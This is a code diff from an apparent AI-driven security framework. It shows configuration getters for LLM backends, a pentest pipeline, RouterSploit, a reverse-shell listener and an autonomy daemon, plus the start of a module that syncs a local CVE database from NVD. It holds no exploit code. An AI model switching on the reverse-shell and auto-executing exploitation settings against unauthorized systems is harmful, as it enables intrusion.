def get_pentest_settings(self) -> dict:
|
||||
"""Get all pentest pipeline settings as a dictionary.
|
||||
|
||||
Returns:
|
||||
Dictionary with pentest settings properly typed
|
||||
"""
|
||||
return {
|
||||
'max_pipeline_steps': self.get_int('pentest', 'max_pipeline_steps', 50),
|
||||
'output_chunk_size': self.get_int('pentest', 'output_chunk_size', 2000),
|
||||
'auto_execute': self.get_bool('pentest', 'auto_execute', False),
|
||||
'save_raw_output': self.get_bool('pentest', 'save_raw_output', True),
|
||||
}
|
||||
|
||||
def get_claude_settings(self) -> dict:
|
||||
"""Get all Claude API settings as a dictionary.
|
||||
|
||||
Returns:
|
||||
Dictionary with Claude API settings properly typed
|
||||
"""
|
||||
return {
|
||||
'api_key': self.get('claude', 'api_key', ''),
|
||||
'model': self.get('claude', 'model', 'claude-sonnet-4-20250514'),
|
||||
'max_tokens': self.get_int('claude', 'max_tokens', 4096),
|
||||
'temperature': self.get_float('claude', 'temperature', 0.7),
|
||||
}
|
||||
|
||||
def get_transformers_settings(self) -> dict:
|
||||
"""Get all transformers/safetensors settings as a dictionary.
|
||||
|
||||
Returns:
|
||||
Dictionary with transformers settings properly typed
|
||||
"""
|
||||
return {
|
||||
'model_path': self.get('transformers', 'model_path', ''),
|
||||
'device': self.get('transformers', 'device', 'auto'),
|
||||
'torch_dtype': self.get('transformers', 'torch_dtype', 'auto'),
|
||||
'load_in_8bit': self.get_bool('transformers', 'load_in_8bit', False),
|
||||
'load_in_4bit': self.get_bool('transformers', 'load_in_4bit', False),
|
||||
'llm_int8_enable_fp32_cpu_offload': self.get_bool('transformers', 'llm_int8_enable_fp32_cpu_offload', False),
|
||||
'device_map': self.get('transformers', 'device_map', 'auto'),
|
||||
'trust_remote_code': self.get_bool('transformers', 'trust_remote_code', False),
|
||||
'max_tokens': self.get_int('transformers', 'max_tokens', 2048),
|
||||
'temperature': self.get_float('transformers', 'temperature', 0.7),
|
||||
'top_p': self.get_float('transformers', 'top_p', 0.9),
|
||||
'top_k': self.get_int('transformers', 'top_k', 40),
|
||||
'repetition_penalty': self.get_float('transformers', 'repetition_penalty', 1.1),
|
||||
}
|
||||
|
||||
def get_huggingface_settings(self) -> dict:
|
||||
"""Get all HuggingFace Inference API settings as a dictionary."""
|
||||
return {
|
||||
'api_key': self.get('huggingface', 'api_key', ''),
|
||||
'model': self.get('huggingface', 'model', 'mistralai/Mistral-7B-Instruct-v0.3'),
|
||||
'endpoint': self.get('huggingface', 'endpoint', ''),
|
||||
'provider': self.get('huggingface', 'provider', 'auto'),
|
||||
'max_tokens': self.get_int('huggingface', 'max_tokens', 1024),
|
||||
'temperature': self.get_float('huggingface', 'temperature', 0.7),
|
||||
'top_p': self.get_float('huggingface', 'top_p', 0.9),
|
||||
'top_k': self.get_int('huggingface', 'top_k', 40),
|
||||
'repetition_penalty': self.get_float('huggingface', 'repetition_penalty', 1.1),
|
||||
'do_sample': self.get_bool('huggingface', 'do_sample', True),
|
||||
'seed': self.get_int('huggingface', 'seed', -1),
|
||||
'stop_sequences': self.get('huggingface', 'stop_sequences', ''),
|
||||
}
|
||||
|
||||
def get_openai_settings(self) -> dict:
|
||||
"""Get all OpenAI API settings as a dictionary."""
|
||||
return {
|
||||
'api_key': self.get('openai', 'api_key', ''),
|
||||
'base_url': self.get('openai', 'base_url', 'https://api.openai.com/v1'),
|
||||
'model': self.get('openai', 'model', 'gpt-4o'),
|
||||
'max_tokens': self.get_int('openai', 'max_tokens', 4096),
|
||||
'temperature': self.get_float('openai', 'temperature', 0.7),
|
||||
'top_p': self.get_float('openai', 'top_p', 1.0),
|
||||
'frequency_penalty': self.get_float('openai', 'frequency_penalty', 0.0),
|
||||
'presence_penalty': self.get_float('openai', 'presence_penalty', 0.0),
|
||||
}
|
||||
|
||||
def get_rsf_settings(self) -> dict:
|
||||
"""Get all RouterSploit settings as a dictionary.
|
||||
|
||||
Returns:
|
||||
Dictionary with RSF settings properly typed
|
||||
"""
|
||||
return {
|
||||
'install_path': self.get('rsf', 'install_path', ''),
|
||||
'enabled': self.get_bool('rsf', 'enabled', True),
|
||||
'default_target': self.get('rsf', 'default_target', ''),
|
||||
'default_port': self.get('rsf', 'default_port', '80'),
|
||||
'execution_timeout': self.get_int('rsf', 'execution_timeout', 120),
|
||||
}
|
||||
|
||||
def get_upnp_settings(self) -> dict:
|
||||
"""Get all UPnP settings as a dictionary."""
|
||||
return {
|
||||
'enabled': self.get_bool('upnp', 'enabled', True),
|
||||
'internal_ip': self.get('upnp', 'internal_ip', '10.0.0.26'),
|
||||
'refresh_hours': self.get_int('upnp', 'refresh_hours', 12),
|
||||
'mappings': self.get('upnp', 'mappings', ''),
|
||||
}
|
||||
|
||||
def get_revshell_settings(self) -> dict:
|
||||
"""Get all reverse shell settings as a dictionary."""
|
||||
return {
|
||||
'enabled': self.get_bool('revshell', 'enabled', True),
|
||||
'host': self.get('revshell', 'host', '0.0.0.0'),
|
||||
'port': self.get_int('revshell', 'port', 17322),
|
||||
'auto_start': self.get_bool('revshell', 'auto_start', False),
|
||||
}
|
||||
|
||||
def get_tier_settings(self, tier: str) -> dict:
|
||||
"""Get settings for a model tier (slm, sam, lam)."""
|
||||
return {
|
||||
'enabled': self.get_bool(tier, 'enabled', True),
|
||||
'backend': self.get(tier, 'backend', 'local'),
|
||||
'model_path': self.get(tier, 'model_path', ''),
|
||||
'n_ctx': self.get_int(tier, 'n_ctx', 2048),
|
||||
'n_gpu_layers': self.get_int(tier, 'n_gpu_layers', -1),
|
||||
'n_threads': self.get_int(tier, 'n_threads', 4),
|
||||
}
|
||||
|
||||
def get_slm_settings(self) -> dict:
|
||||
"""Get Small Language Model tier settings."""
|
||||
return self.get_tier_settings('slm')
|
||||
|
||||
def get_sam_settings(self) -> dict:
|
||||
"""Get Small Action Model tier settings."""
|
||||
return self.get_tier_settings('sam')
|
||||
|
||||
def get_lam_settings(self) -> dict:
|
||||
"""Get Large Action Model tier settings."""
|
||||
return self.get_tier_settings('lam')
|
||||
|
||||
def get_autonomy_settings(self) -> dict:
|
||||
"""Get autonomy daemon settings."""
|
||||
return {
|
||||
'enabled': self.get_bool('autonomy', 'enabled', False),
|
||||
'monitor_interval': self.get_int('autonomy', 'monitor_interval', 3),
|
||||
'rule_eval_interval': self.get_int('autonomy', 'rule_eval_interval', 5),
|
||||
'max_concurrent_agents': self.get_int('autonomy', 'max_concurrent_agents', 3),
|
||||
'threat_threshold_auto_respond': self.get_int('autonomy', 'threat_threshold_auto_respond', 40),
|
||||
'log_max_entries': self.get_int('autonomy', 'log_max_entries', 1000),
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def get_templates_dir() -> Path:
|
||||
"""Get the path to the configuration templates directory."""
|
||||
from core.paths import get_templates_dir
|
||||
return get_templates_dir()
|
||||
|
||||
@staticmethod
|
||||
def get_custom_configs_dir() -> Path:
|
||||
"""Get the path to the custom user configurations directory."""
|
||||
from core.paths import get_custom_configs_dir
|
||||
return get_custom_configs_dir()
|
||||
|
||||
def list_hardware_templates(self) -> list:
|
||||
"""List available hardware configuration templates.
|
||||
|
||||
Returns:
|
||||
List of tuples: (template_id, display_name, description, filename)
|
||||
"""
|
||||
templates = [
|
||||
('nvidia_4070_mobile', 'NVIDIA RTX 4070 Mobile', '8GB VRAM, CUDA, optimal for 7B-13B models', 'nvidia_4070_mobile.conf'),
|
||||
('amd_rx6700xt', 'AMD Radeon RX 6700 XT', '12GB VRAM, ROCm, optimal for 7B-13B models', 'amd_rx6700xt.conf'),
|
||||
('orangepi5plus_cpu', 'Orange Pi 5 Plus (CPU)', 'RK3588 ARM64, CPU-only, for quantized models', 'orangepi5plus_cpu.conf'),
|
||||
('orangepi5plus_mali', 'Orange Pi 5 Plus (Mali GPU)', 'EXPERIMENTAL - Mali-G610 OpenCL acceleration', 'orangepi5plus_mali.conf'),
|
||||
]
|
||||
return templates
|
||||
|
||||
def list_custom_configs(self) -> list:
|
||||
"""List user-saved custom configurations.
|
||||
|
||||
Returns:
|
||||
List of tuples: (name, filepath)
|
||||
"""
|
||||
custom_dir = self.get_custom_configs_dir()
|
||||
configs = []
|
||||
for conf_file in custom_dir.glob('*.conf'):
|
||||
name = conf_file.stem.replace('_', ' ').title()
|
||||
configs.append((name, conf_file))
|
||||
return configs
|
||||
|
||||
def load_template(self, template_id: str) -> bool:
|
||||
"""Load a hardware template into the current configuration.
|
||||
|
||||
Args:
|
||||
template_id: The template identifier (e.g., 'nvidia_4070_mobile')
|
||||
|
||||
Returns:
|
||||
True if loaded successfully, False otherwise
|
||||
"""
|
||||
templates = {t[0]: t[3] for t in self.list_hardware_templates()}
|
||||
if template_id not in templates:
|
||||
return False
|
||||
|
||||
template_path = self.get_templates_dir() / templates[template_id]
|
||||
if not template_path.exists():
|
||||
return False
|
||||
|
||||
return self._load_llm_settings_from_file(template_path)
|
||||
|
||||
def load_custom_config(self, filepath: Path) -> bool:
|
||||
"""Load a custom configuration file.
|
||||
|
||||
Args:
|
||||
filepath: Path to the custom configuration file
|
||||
|
||||
Returns:
|
||||
True if loaded successfully, False otherwise
|
||||
"""
|
||||
if not filepath.exists():
|
||||
return False
|
||||
return self._load_llm_settings_from_file(filepath)
|
||||
|
||||
def _load_llm_settings_from_file(self, filepath: Path) -> bool:
|
||||
"""Load LLM settings (llama and transformers sections) from a file.
|
||||
|
||||
Preserves model_path from current config (doesn't overwrite).
|
||||
|
||||
Args:
|
||||
filepath: Path to the configuration file
|
||||
|
||||
Returns:
|
||||
True if loaded successfully, False otherwise
|
||||
"""
|
||||
try:
|
||||
template_config = configparser.ConfigParser()
|
||||
template_config.read(filepath)
|
||||
|
||||
# Preserve current model paths
|
||||
current_llama_path = self.get('llama', 'model_path', '')
|
||||
current_transformers_path = self.get('transformers', 'model_path', '')
|
||||
|
||||
# Load llama section
|
||||
if 'llama' in template_config:
|
||||
for key, value in template_config['llama'].items():
|
||||
if key != 'model_path': # Preserve current model path
|
||||
self.set('llama', key, value)
|
||||
# Restore model path
|
||||
if current_llama_path:
|
||||
self.set('llama', 'model_path', current_llama_path)
|
||||
|
||||
# Load transformers section
|
||||
if 'transformers' in template_config:
|
||||
for key, value in template_config['transformers'].items():
|
||||
if key != 'model_path': # Preserve current model path
|
||||
self.set('transformers', key, value)
|
||||
# Restore model path
|
||||
if current_transformers_path:
|
||||
self.set('transformers', 'model_path', current_transformers_path)
|
||||
|
||||
self.save()
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
def save_custom_config(self, name: str) -> Path:
|
||||
"""Save current LLM settings to a custom configuration file.
|
||||
|
||||
Args:
|
||||
name: Name for the custom configuration (will be sanitized)
|
||||
|
||||
Returns:
|
||||
Path to the saved configuration file
|
||||
"""
|
||||
# Sanitize name for filename
|
||||
safe_name = ''.join(c if c.isalnum() or c in '-_' else '_' for c in name.lower())
|
||||
safe_name = safe_name.strip('_')
|
||||
if not safe_name:
|
||||
safe_name = 'custom_config'
|
||||
|
||||
custom_dir = self.get_custom_configs_dir()
|
||||
filepath = custom_dir / f'{safe_name}.conf'
|
||||
|
||||
# Create config with just LLM settings
|
||||
custom_config = configparser.ConfigParser()
|
||||
|
||||
# Save llama settings
|
||||
custom_config['llama'] = {}
|
||||
for key in self.DEFAULT_CONFIG['llama'].keys():
|
||||
value = self.get('llama', key, '')
|
||||
if value:
|
||||
custom_config['llama'][key] = str(value)
|
||||
|
||||
# Save transformers settings
|
||||
custom_config['transformers'] = {}
|
||||
for key in self.DEFAULT_CONFIG['transformers'].keys():
|
||||
value = self.get('transformers', key, '')
|
||||
if value:
|
||||
custom_config['transformers'][key] = str(value)
|
||||
|
||||
# Add header comment
|
||||
with open(filepath, 'w') as f:
|
||||
f.write(f'# AUTARCH Custom LLM Configuration\n')
|
||||
f.write(f'# Name: {name}\n')
|
||||
f.write(f'# Saved: {Path(self.config_path).name}\n')
|
||||
f.write('#\n\n')
|
||||
custom_config.write(f)
|
||||
|
||||
return filepath
|
||||
|
||||
def delete_custom_config(self, filepath: Path) -> bool:
|
||||
"""Delete a custom configuration file.
|
||||
|
||||
Args:
|
||||
filepath: Path to the custom configuration file
|
||||
|
||||
Returns:
|
||||
True if deleted successfully, False otherwise
|
||||
"""
|
||||
try:
|
||||
if filepath.exists() and filepath.parent == self.get_custom_configs_dir():
|
||||
filepath.unlink()
|
||||
return True
|
||||
except Exception:
|
||||
pass
|
||||
return False
|
||||
|
||||
|
||||
# Global config instance
|
||||
_config = None
|
||||
|
||||
|
||||
def get_config() -> Config:
|
||||
"""Get the global configuration instance."""
|
||||
global _config
|
||||
if _config is None:
|
||||
_config = Config()
|
||||
return _config
|
||||
869
core/cve.py
Normal file
869
core/cve.py
Normal file
@@ -0,0 +1,869 @@
|
||||
"""
|
||||
AUTARCH CVE Database Module
|
||||
SQLite-based local CVE database with NVD API synchronization
|
||||
https://nvd.nist.gov/developers/vulnerabilities
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import sqlite3
|
||||
import platform
|
||||
import subprocess
|
||||
import urllib.request
|
||||
import urllib.parse
|
||||
import threading
|
||||
from pathlib import Path
|
||||
from datetime import datetime, timedelta
|
||||
from typing import Optional, List, Dict, Any, Callable
|
||||
|
||||
from .banner import Colors
|
||||
from .config import get_config
|
||||
|
||||
|
||||
class CVEDatabase:
|
||||
"""SQLite-based CVE Database with NVD API synchronization."""
|
||||
|
||||
NVD_API_BASE = "https://services.nvd.nist.gov/rest/json/cves/2.0"
|
||||
DB_VERSION = 1
|
||||
RESULTS_PER_PAGE = 2000 # NVD max is 2000
|
||||
|
||||
# OS to CPE mapping for common systems
|
||||
OS_CPE_MAP = {
|
||||
'ubuntu': 'cpe:2.3:o:canonical:ubuntu_linux',
|
||||
'debian': 'cpe:2.3:o:debian:debian_linux',
|
||||
'fedora': 'cpe:2.3:o:fedoraproject:fedora',
|
||||
'centos': 'cpe:2.3:o:centos:centos',
|
||||
'rhel': 'cpe:2.3:o:redhat:enterprise_linux',
|
||||
'rocky': 'cpe:2.3:o:rockylinux:rocky_linux',
|
||||
'alma': 'cpe:2.3:o:almalinux:almalinux',
|
||||
'arch': 'cpe:2.3:o:archlinux:arch_linux',
|
||||
'opensuse': 'cpe:2.3:o:opensuse:opensuse',
|
||||
'suse': 'cpe:2.3:o:suse:suse_linux',
|
||||
'kali': 'cpe:2.3:o:kali:kali_linux',
|
||||
'mint': 'cpe:2.3:o:linuxmint:linux_mint',
|
||||
'windows': 'cpe:2.3:o:microsoft:windows',
|
||||
'macos': 'cpe:2.3:o:apple:macos',
|
||||
'darwin': 'cpe:2.3:o:apple:macos',
|
||||
}
|
||||
|
||||
# SQL Schema
|
||||
SCHEMA = """
|
||||
-- CVE main table
|
||||
CREATE TABLE IF NOT EXISTS cves (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
cve_id TEXT UNIQUE NOT NULL,
|
||||
description TEXT,
|
||||
published TEXT,
|
||||
modified TEXT,
|
||||
cvss_v3_score REAL,
|
||||
cvss_v3_severity TEXT,
|
||||
cvss_v3_vector TEXT,
|
||||
cvss_v2_score REAL,
|
||||
cvss_v2_severity TEXT,
|
||||
cvss_v2_vector TEXT
|
||||
);
|
||||
|
||||
-- CPE (affected products) table
|
||||
CREATE TABLE IF NOT EXISTS cve_cpes (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
cve_id TEXT NOT NULL,
|
||||
cpe_criteria TEXT NOT NULL,
|
||||
vulnerable INTEGER DEFAULT 1,
|
||||
version_start TEXT,
|
||||
version_end TEXT,
|
||||
FOREIGN KEY (cve_id) REFERENCES cves(cve_id)
|
||||
);
|
||||
|
||||
-- References table
|
||||
CREATE TABLE IF NOT EXISTS cve_references (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
cve_id TEXT NOT NULL,
|
||||
url TEXT NOT NULL,
|
||||
source TEXT,
|
||||
FOREIGN KEY (cve_id) REFERENCES cves(cve_id)
|
||||
);
|
||||
|
||||
-- Weaknesses (CWE) table
|
||||
CREATE TABLE IF NOT EXISTS cve_weaknesses (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
cve_id TEXT NOT NULL,
|
||||
cwe_id TEXT NOT NULL,
|
||||
FOREIGN KEY (cve_id) REFERENCES cves(cve_id)
|
||||
);
|
||||
|
||||
-- Metadata table
|
||||
CREATE TABLE IF NOT EXISTS metadata (
|
||||
key TEXT PRIMARY KEY,
|
||||
value TEXT
|
||||
);
|
||||
|
||||
-- Indexes for fast queries
|
||||
CREATE INDEX IF NOT EXISTS idx_cve_id ON cves(cve_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_cve_severity ON cves(cvss_v3_severity);
|
||||
CREATE INDEX IF NOT EXISTS idx_cve_score ON cves(cvss_v3_score);
|
||||
CREATE INDEX IF NOT EXISTS idx_cve_published ON cves(published);
|
||||
CREATE INDEX IF NOT EXISTS idx_cpe_cve ON cve_cpes(cve_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_cpe_criteria ON cve_cpes(cpe_criteria);
|
||||
CREATE INDEX IF NOT EXISTS idx_ref_cve ON cve_references(cve_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_weakness_cve ON cve_weaknesses(cve_id);
|
||||
"""
|
||||
|
||||
def __init__(self, db_path: str = None):
|
||||
"""Initialize CVE database.
|
||||
|
||||
Args:
|
||||
db_path: Path to SQLite database. Defaults to data/cve/cve.db
|
||||
"""
|
||||
if db_path is None:
|
||||
from core.paths import get_data_dir
|
||||
self.data_dir = get_data_dir() / "cve"
|
||||
self.db_path = self.data_dir / "cve.db"
|
||||
else:
|
||||
self.db_path = Path(db_path)
|
||||
self.data_dir = self.db_path.parent
|
||||
|
||||
self.data_dir.mkdir(parents=True, exist_ok=True)
|
||||
self.system_info = self._detect_system()
|
||||
self._conn = None
|
||||
self._lock = threading.Lock()
|
||||
self._init_database()
|
||||
|
||||
def _get_connection(self) -> sqlite3.Connection:
|
||||
"""Get thread-safe database connection."""
|
||||
if self._conn is None:
|
||||
self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False)
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
return self._conn
|
||||
|
||||
def _init_database(self):
|
||||
"""Initialize database schema."""
|
||||
with self._lock:
|
||||
conn = self._get_connection()
|
||||
conn.executescript(self.SCHEMA)
|
||||
conn.commit()
|
||||
|
||||
def _detect_system(self) -> Dict[str, str]:
|
||||
"""Detect the current system information."""
|
||||
info = {
|
||||
'os_type': platform.system().lower(),
|
||||
'os_name': '',
|
||||
'os_version': '',
|
||||
'os_id': '',
|
||||
'kernel': platform.release(),
|
||||
'arch': platform.machine(),
|
||||
'cpe_prefix': '',
|
||||
}
|
||||
|
||||
if info['os_type'] == 'linux':
|
||||
os_release = Path("/etc/os-release")
|
||||
if os_release.exists():
|
||||
content = os_release.read_text()
|
||||
for line in content.split('\n'):
|
||||
if line.startswith('ID='):
|
||||
info['os_id'] = line.split('=')[1].strip('"').lower()
|
||||
elif line.startswith('VERSION_ID='):
|
||||
info['os_version'] = line.split('=')[1].strip('"')
|
||||
elif line.startswith('PRETTY_NAME='):
|
||||
info['os_name'] = line.split('=', 1)[1].strip('"')
|
||||
|
||||
if not info['os_id']:
|
||||
if Path("/etc/debian_version").exists():
|
||||
info['os_id'] = 'debian'
|
||||
elif Path("/etc/redhat-release").exists():
|
||||
info['os_id'] = 'rhel'
|
||||
elif Path("/etc/arch-release").exists():
|
||||
info['os_id'] = 'arch'
|
||||
|
||||
elif info['os_type'] == 'darwin':
|
||||
info['os_id'] = 'macos'
|
||||
try:
|
||||
result = subprocess.run(['sw_vers', '-productVersion'],
|
||||
capture_output=True, text=True, timeout=5)
|
||||
info['os_version'] = result.stdout.strip()
|
||||
except:
|
||||
pass
|
||||
|
||||
elif info['os_type'] == 'windows':
|
||||
info['os_id'] = 'windows'
|
||||
info['os_version'] = platform.version()
|
||||
info['os_name'] = platform.platform()
|
||||
|
||||
for os_key, cpe in self.OS_CPE_MAP.items():
|
||||
if os_key in info['os_id']:
|
||||
info['cpe_prefix'] = cpe
|
||||
break
|
||||
|
||||
return info
|
||||
|
||||
def get_system_info(self) -> Dict[str, str]:
|
||||
"""Get detected system information."""
|
||||
return self.system_info.copy()
|
||||
|
||||
def get_db_stats(self) -> Dict[str, Any]:
|
||||
"""Get database statistics."""
|
||||
with self._lock:
|
||||
conn = self._get_connection()
|
||||
cursor = conn.cursor()
|
||||
|
||||
stats = {
|
||||
'db_path': str(self.db_path),
|
||||
'db_size_mb': round(self.db_path.stat().st_size / 1024 / 1024, 2) if self.db_path.exists() else 0,
|
||||
'total_cves': 0,
|
||||
'total_cpes': 0,
|
||||
'last_sync': None,
|
||||
'last_modified': None,
|
||||
}
|
||||
|
||||
try:
|
||||
cursor.execute("SELECT COUNT(*) FROM cves")
|
||||
stats['total_cves'] = cursor.fetchone()[0]
|
||||
|
||||
cursor.execute("SELECT COUNT(*) FROM cve_cpes")
|
||||
stats['total_cpes'] = cursor.fetchone()[0]
|
||||
|
||||
cursor.execute("SELECT value FROM metadata WHERE key = 'last_sync'")
|
||||
row = cursor.fetchone()
|
||||
if row:
|
||||
stats['last_sync'] = row[0]
|
||||
|
||||
cursor.execute("SELECT value FROM metadata WHERE key = 'last_modified'")
|
||||
row = cursor.fetchone()
|
||||
if row:
|
||||
stats['last_modified'] = row[0]
|
||||
|
||||
# Count by severity
|
||||
cursor.execute("""
|
||||
SELECT cvss_v3_severity, COUNT(*)
|
||||
FROM cves
|
||||
WHERE cvss_v3_severity IS NOT NULL
|
||||
GROUP BY cvss_v3_severity
|
||||
""")
|
||||
stats['by_severity'] = {row[0]: row[1] for row in cursor.fetchall()}
|
||||
|
||||
except sqlite3.Error:
|
||||
pass
|
||||
|
||||
return stats
|
||||
|
||||
# =========================================================================
|
||||
# NVD API METHODS
|
||||
# =========================================================================
|
||||
|
||||
def _make_nvd_request(self, params: Dict[str, str], verbose: bool = False) -> Optional[Dict]:
|
||||
"""Make a request to the NVD API."""
|
||||
url = f"{self.NVD_API_BASE}?{urllib.parse.urlencode(params)}"
|
||||
|
||||
if verbose:
|
||||
print(f"{Colors.DIM} API: {url[:80]}...{Colors.RESET}")
|
||||
|
||||
headers = {
|
||||
'User-Agent': 'AUTARCH-Security-Framework/1.0',
|
||||
'Accept': 'application/json',
|
||||
}
|
||||
|
||||
config = get_config()
|
||||
api_key = config.get('nvd', 'api_key', fallback='')
|
||||
if api_key:
|
||||
headers['apiKey'] = api_key
|
||||
|
||||
try:
|
||||
req = urllib.request.Request(url, headers=headers)
|
||||
with urllib.request.urlopen(req, timeout=60) as response:
|
||||
return json.loads(response.read().decode('utf-8'))
|
||||
except urllib.error.HTTPError as e:
|
||||
if verbose:
|
||||
print(f"{Colors.RED}[X] NVD API error: {e.code} - {e.reason}{Colors.RESET}")
|
||||
return None
|
||||
except urllib.error.URLError as e:
|
||||
if verbose:
|
||||
print(f"{Colors.RED}[X] Network error: {e.reason}{Colors.RESET}")
|
||||
return None
|
||||
except Exception as e:
|
||||
if verbose:
|
||||
print(f"{Colors.RED}[X] Request failed: {e}{Colors.RESET}")
|
||||
return None
|
||||
|
||||
def _parse_cve_data(self, vuln: Dict) -> Dict:
|
||||
"""Parse CVE data from NVD API response."""
|
||||
cve_data = vuln.get('cve', {})
|
||||
cve_id = cve_data.get('id', '')
|
||||
|
||||
# Description
|
||||
descriptions = cve_data.get('descriptions', [])
|
||||
description = ''
|
||||
for desc in descriptions:
|
||||
if desc.get('lang') == 'en':
|
||||
description = desc.get('value', '')
|
||||
break
|
||||
|
||||
# CVSS scores
|
||||
metrics = cve_data.get('metrics', {})
|
||||
cvss_v3 = metrics.get('cvssMetricV31', metrics.get('cvssMetricV30', []))
|
||||
cvss_v2 = metrics.get('cvssMetricV2', [])
|
||||
|
||||
cvss_v3_score = None
|
||||
cvss_v3_severity = None
|
||||
cvss_v3_vector = None
|
||||
cvss_v2_score = None
|
||||
cvss_v2_severity = None
|
||||
cvss_v2_vector = None
|
||||
|
||||
if cvss_v3:
|
||||
cvss_data = cvss_v3[0].get('cvssData', {})
|
||||
cvss_v3_score = cvss_data.get('baseScore')
|
||||
cvss_v3_severity = cvss_data.get('baseSeverity')
|
||||
cvss_v3_vector = cvss_data.get('vectorString')
|
||||
|
||||
if cvss_v2:
|
||||
cvss_data = cvss_v2[0].get('cvssData', {})
|
||||
cvss_v2_score = cvss_data.get('baseScore')
|
||||
cvss_v2_severity = cvss_v2[0].get('baseSeverity')
|
||||
cvss_v2_vector = cvss_data.get('vectorString')
|
||||
|
||||
# CPEs (affected products)
|
||||
cpes = []
|
||||
for config in cve_data.get('configurations', []):
|
||||
for node in config.get('nodes', []):
|
||||
for match in node.get('cpeMatch', []):
|
||||
cpes.append({
|
||||
'criteria': match.get('criteria', ''),
|
||||
'vulnerable': match.get('vulnerable', True),
|
||||
'version_start': match.get('versionStartIncluding') or match.get('versionStartExcluding'),
|
||||
'version_end': match.get('versionEndIncluding') or match.get('versionEndExcluding'),
|
||||
})
|
||||
|
||||
# References
|
||||
references = [
|
||||
{'url': ref.get('url', ''), 'source': ref.get('source', '')}
|
||||
for ref in cve_data.get('references', [])
|
||||
]
|
||||
|
||||
# Weaknesses
|
||||
weaknesses = []
|
||||
for weakness in cve_data.get('weaknesses', []):
|
||||
for desc in weakness.get('description', []):
|
||||
if desc.get('lang') == 'en' and desc.get('value', '').startswith('CWE-'):
|
||||
weaknesses.append(desc.get('value'))
|
||||
|
||||
return {
|
||||
'cve_id': cve_id,
|
||||
'description': description,
|
||||
'published': cve_data.get('published', ''),
|
||||
'modified': cve_data.get('lastModified', ''),
|
||||
'cvss_v3_score': cvss_v3_score,
|
||||
'cvss_v3_severity': cvss_v3_severity,
|
||||
'cvss_v3_vector': cvss_v3_vector,
|
||||
'cvss_v2_score': cvss_v2_score,
|
||||
'cvss_v2_severity': cvss_v2_severity,
|
||||
'cvss_v2_vector': cvss_v2_vector,
|
||||
'cpes': cpes,
|
||||
'references': references,
|
||||
'weaknesses': weaknesses,
|
||||
}
|
||||
|
||||
def _insert_cve(self, conn: sqlite3.Connection, cve_data: Dict):
|
||||
"""Insert or update a CVE in the database."""
|
||||
cursor = conn.cursor()
|
||||
|
||||
# Insert/update main CVE record
|
||||
cursor.execute("""
|
||||
INSERT OR REPLACE INTO cves
|
||||
(cve_id, description, published, modified,
|
||||
cvss_v3_score, cvss_v3_severity, cvss_v3_vector,
|
||||
cvss_v2_score, cvss_v2_severity, cvss_v2_vector)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
""", (
|
||||
cve_data['cve_id'],
|
||||
cve_data['description'],
|
||||
cve_data['published'],
|
||||
cve_data['modified'],
|
||||
cve_data['cvss_v3_score'],
|
||||
cve_data['cvss_v3_severity'],
|
||||
cve_data['cvss_v3_vector'],
|
||||
cve_data['cvss_v2_score'],
|
||||
cve_data['cvss_v2_severity'],
|
||||
cve_data['cvss_v2_vector'],
|
||||
))
|
||||
|
||||
cve_id = cve_data['cve_id']
|
||||
|
||||
# Clear existing related data
|
||||
cursor.execute("DELETE FROM cve_cpes WHERE cve_id = ?", (cve_id,))
|
||||
cursor.execute("DELETE FROM cve_references WHERE cve_id = ?", (cve_id,))
|
||||
cursor.execute("DELETE FROM cve_weaknesses WHERE cve_id = ?", (cve_id,))
|
||||
|
||||
# Insert CPEs
|
||||
for cpe in cve_data['cpes']:
|
||||
cursor.execute("""
|
||||
INSERT INTO cve_cpes (cve_id, cpe_criteria, vulnerable, version_start, version_end)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
""", (cve_id, cpe['criteria'], 1 if cpe['vulnerable'] else 0,
|
||||
cpe['version_start'], cpe['version_end']))
|
||||
|
||||
# Insert references (limit to 10)
|
||||
for ref in cve_data['references'][:10]:
|
||||
cursor.execute("""
|
||||
INSERT INTO cve_references (cve_id, url, source)
|
||||
VALUES (?, ?, ?)
|
||||
""", (cve_id, ref['url'], ref['source']))
|
||||
|
||||
# Insert weaknesses
|
||||
for cwe in cve_data['weaknesses']:
|
||||
cursor.execute("""
|
||||
INSERT INTO cve_weaknesses (cve_id, cwe_id)
|
||||
VALUES (?, ?)
|
||||
""", (cve_id, cwe))
|
||||
|
||||
# =========================================================================
|
||||
# DATABASE SYNC
|
||||
# =========================================================================
|
||||
|
||||
def sync_database(
|
||||
self,
|
||||
days_back: int = 120,
|
||||
full_sync: bool = False,
|
||||
progress_callback: Callable[[str, int, int], None] = None,
|
||||
verbose: bool = True
|
||||
) -> Dict[str, Any]:
|
||||
"""Synchronize database with NVD.
|
||||
|
||||
Args:
|
||||
days_back: For incremental sync, get CVEs from last N days.
|
||||
full_sync: If True, download entire database (WARNING: slow, 200k+ CVEs).
|
||||
progress_callback: Callback function(message, current, total).
|
||||
verbose: Show progress messages.
|
||||
|
||||
Returns:
|
||||
Sync statistics dictionary.
|
||||
"""
|
||||
stats = {
|
||||
'started': datetime.now().isoformat(),
|
||||
'cves_processed': 0,
|
||||
'cves_added': 0,
|
||||
'cves_updated': 0,
|
||||
'errors': 0,
|
||||
'completed': False,
|
||||
}
|
||||
|
||||
if verbose:
|
||||
print(f"{Colors.CYAN}[*] Starting CVE database sync...{Colors.RESET}")
|
||||
|
||||
# Determine date range
|
||||
if full_sync:
|
||||
# Start from 1999 (first CVEs)
|
||||
start_date = datetime(1999, 1, 1)
|
||||
if verbose:
|
||||
print(f"{Colors.YELLOW}[!] Full sync requested - this may take a while...{Colors.RESET}")
|
||||
else:
|
||||
start_date = datetime.utcnow() - timedelta(days=days_back)
|
||||
|
||||
end_date = datetime.utcnow()
|
||||
|
||||
